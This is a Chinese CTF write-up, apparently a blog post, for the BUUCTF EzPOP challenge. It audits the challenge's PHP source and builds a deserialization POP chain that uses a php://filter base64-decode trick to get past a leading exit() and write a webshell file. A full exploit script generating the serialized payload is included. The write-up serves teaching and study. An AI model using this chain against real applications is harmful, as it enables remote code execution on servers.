资讯专栏INFORMATION COLUMN

『CTF Web复现』BUUCTF-[EIS 2019]EzPOP

leap_frog / 3430人阅读

摘要:文章目录利用点源码代码审计协议绕过死亡关于的说明构造链构造完利用点协议绕过死亡源码

利用点

  • base64 + filter协议绕过死亡exit

源码

error_reporting(0);class A {    protected $store;    protected $key;    protected $expire;    public function __construct($store, $key = "flysystem", $expire = null) {        $this->key = $key;        $this->store = $store;        $this->expire = $expire;    }    public function cleanContents(array $contents) {        $cachedProperties = array_flip([            "path", "dirname", "basename", "extension", "filename",            "size", "mimetype", "visibility", "timestamp", "type",        ]);        foreach ($contents as $path => $object) {            if (is_array($object)) {                $contents[$path] = array_intersect_key($object, $cachedProperties);            }        }        return $contents;    }    public function getForStorage() {        $cleaned = $this->cleanContents($this->cache);        return json_encode([$cleaned, $this->complete]);    }    public function save() {        $contents = $this->getForStorage();        $this->store->set($this->key, $contents, $this->expire);    }    public function __destruct() {        if (!$this->autosave) {            $this->save();        }    }}class B {    protected function getExpireTime($expire): int {        return (int) $expire;    }    public function getCacheKey(string $name): string {        return $this->options["prefix"] . $name;    }    protected function serialize($data): string {        if (is_numeric($data)) {            return (string) $data;        }        $serialize = $this->options["serialize"];        return $serialize($data);    }    public function set($name, $value, $expire = null): bool{        $this->writeTimes++;        if (is_null($expire)) {            $expire = $this->options["expire"];        }        $expire = $this->getExpireTime($expire);        $filename = $this->getCacheKey($name);        $dir = dirname($filename);        if (!is_dir($dir)) {            try {                mkdir($dir, 0755, true);            } catch (/Exception $e) {                // 创建失败            }        }        $data = $this->serialize($value);        if ($this->options["data_compress"] && function_exists("gzcompress")) {            //数据压缩            $data = gzcompress($data, 3);        }        $data = " . sprintf("%012d", $expire) . "/n exit();?>/n" . $data;        $result = file_put_contents($filename, $data);        if ($result) {            return true;        }        return false;    }}if (isset($_GET["src"])){    highlight_file(__FILE__);}$dir = "uploads/";if (!is_dir($dir)){    mkdir($dir);}unserialize($_GET["data"]);

代码审计

class B

base64 + filter协议绕过死亡exit

B类有一写文件函数,目标应该是写shell,位于B::set()

$result = file_put_contents($filename, $data);

先看$filename

$filename = $this->getCacheKey($name);

追一下B::getCacheKey()

public function getCacheKey(string $name): string {    return $this->options["prefix"] . $name;}

这里的$options是一个数组,可以控制,$name也是一个可以被控制的变量,也就是说文件名和前缀都是可以控制的,经过观察,这里的$name来自于B::set()传入

public function set($name, $value, $expire = null): bool

然后看一下写入的文件内容$data,往上追一步

$data = " . sprintf("%012d", $expire) . "/n exit();?>/n" . $data;

这里首先命令是拼接在exit()之后的,如果正常写入是永远无法执行的,也就是死亡exit(),关于死亡exit()的绕过,P神有文章讲解

谈一谈php://filter的妙用@PHITHON

简而言之就是将命令先base64,拼接到exit()之后,再用filter协议base64解码写入。这里的sprintf是12位数字,传入的$expire=0即可。由于解码自动跳过非法字符,这样死亡exit()就会只剩下base64密文php//000000000000exit还有后面的命令,同时由于base64是每4字符一组,所以后面$data要补三个可见字符凑够12字符,这样传入的base64密文如下,再经过一次base64后就是php命令了

php//000000000000exit(待执行命令的base64)

刚好file_put_contents支持解析伪协议:那么B::$options["prefix"]赋值为php://filter/write=convert.base64-decode/resource=,传入B::set()的参数$expire赋值为任意不超过12位数字,先去追一下$expire的来源

格式化为int

$expire = $this->getExpireTime($expire);

然后有个赋值判断

if (is_null($expire)) {    $expire = $this->options["expire"];}

然后$expire来源于set传参

public function set($name, $value, $expire = null): bool

因此$expire可以是来自传参,也可以是B::$options["expire"]


搞定了$expire,再向上追一下$data,要绕过死亡exit(),上面有个数据压缩的函数,这里不能进去,把options["data_compress"]赋值为false

if ($this->options["data_compress"] && function_exists("gzcompress")) {    //数据压缩     $data = gzcompress($data, 3);}

往上一步找到$data的来源了,来自B::serialize($value)

$data = $this->serialize($value);

$value来自B::set()的传参,这个serialize函数是B类自己定义的,这里可控,作为传入一个函数方法

protected function serialize($data): string {    if (is_numeric($data)) {        return (string) $data;    }    $serialize = $this->options["serialize"];    return $serialize($data);}

关于B::serialize()的说明

这一步serialize是一次多余的操作,我们的目标就是要经过这个函数处理,但是返回的内容不变,可以选择编码(传入base64,再此解码)、或者是去除传入命令两侧的空白字符(rtrim)等,啥都不干就行,payload默认选择进行一次base64解码

class A

看看A类的析构函数

public function __destruct() {    if (!$this->autosave) {        $this->save();    }}

要进入save函数,首先要使得A::$autosave赋值为0,save函数调用了set函数

    public function save() {        $contents = $this->getForStorage();        $this->store->set($this->key, $contents, $this->expire);    }

只要让A::$store赋值为new B()就能调用B::set(),也就完成了两个类的联系。这里的$key对应写入的文件名,$contents对应写入的内容,看一下它的来源

public function getForStorage() {    $cleaned = $this->cleanContents($this->cache);    return json_encode([$cleaned, $this->complete]);}

这里的$cleaned来源于$A::cache,是一个空数组;写入内容又来源于A::$complete

构造payload

最后一个难点在于构造payload赋值给A::$complete

  • 首先:经过一次B::serialize(),这里我们进行一次多余的操作也就是base64_decode,因此A::$complete需要一次base64_encode()

见上文关于B::serialize()的说明

  • 之后:就是绕过死亡exit(),之前算过要凑3个字符,之后就是待执行命令的base64编码
A::$complete = base64_encode("aaa".base64_encode(""));

写入一句话木马用蚁剑连接

POP链构造

根据上面代码审计,构造POP链

file_put_contents();B::set(); + B::getExpireTime(); + B::getCacheKey(); + B::serialize();A::save() + A::getForStorage() + A::cleanContents();A::__destruct();

class B

class B{    public $options;    public function __construct(){        $this->options = array();        // 绕过死亡exit使用filter伪协议        $this->options["prefix"] = "php://filter/write=convert.base64-decode/resource=";        // 跳过数据压缩        $this->options["data_compress"] = 0;        // 什么都不做的函数,这里执行一次base64解码        $this->options["serialize"] = "base64_decode";        // 补齐sprintf        $this->options["expire"] = 0;    }}

class A

class A{    protected $key;    protected $store;    protected $expire;    public function __construct(){    	// 进入A::save()        $this->autosave = 0;        // B::set()入口        $this->store = new B();        // 初始赋值        $this->cache = array();        // 写入webshell的文件名        $this->key = "1.php";		// payload        $this->complete = base64_encode("aaa".base64_encode(""));    }}

EXP

class A{    protected $key;    protected $store;    protected $expire;    public function __construct(){        $this->autosave = 0;        $this->store = new B();        $this->cache = array();        $this->key = "1.php";        $this->complete = base64_encode("aaa".base64_encode(""));    }}class B{    public $options;    public function __construct(){        $this->options = array();        $this->options["prefix"] = "php://filter/write=convert.base64-decode/resource=";        $this->options["data_compress"] = 0;        $this->options["serialize"] = "base64_decode";        $this->options["expire"] = 0;    }}echo urlencode(serialize(new A()));

欢迎在评论区留言

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/121929.html

相关文章

  • [CTF从0到1学习] BUUCTF WEB部分 wp(待完善)

    摘要:两次编码值为构造所以我们的就是成功拿到极客大挑战这种就是抓抓包了,发现有单引号报错那就是典型的万能密码了极客大挑战先看网页源代码吧试了试居然解出了。 [CTF从0到...

    不知名网友 评论0 收藏0
  • NBug战队——2021-09-26第二次会议

    摘要:年月日,在国庆节到来之前的周日,我们开展了战队的第二次会议,在第一次到第二次会议开展之间,又有几个小伙伴加入了我们。第二次会议,仍然是在网络中心的会议室内召开,不过与会的人员除了第一次的几位小伙伴,还有一些新加入的成员。         2021年9月26日,在国庆节到来之前的周日,我们开展...

    rozbo 评论0 收藏0
  • [BUUCTF][MRCTF2020]部分web wp

    摘要:你传你呢学习链接的使用技巧总结测试发现过滤了后缀中间件是可以上传图片马。 [MRCTF2020]你传你🐎呢 学习链接:[CTF].ht...

    番茄西红柿 评论0 收藏2637
  • [BUUCTF][极客大挑战 2019]web wp

    摘要:这里使用双写绕过就好啦查表得到表名查列名查数据见我另一篇博客吖 Havefun F12 EasySQL 1' or 1=1# Secret File...

    番茄西红柿 评论0 收藏2637
  • 2021ByteCTF初赛web double sqli

    摘要:我们会在文档里找到函数借此来进行切换用户构造最终假设库中有即目录遍历函数 题目啥都没说 在判断注入点是发现提示 something in files 猜测目录文件里...

    番茄西红柿 评论0 收藏2637

发表评论

0条评论

leap_frog

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<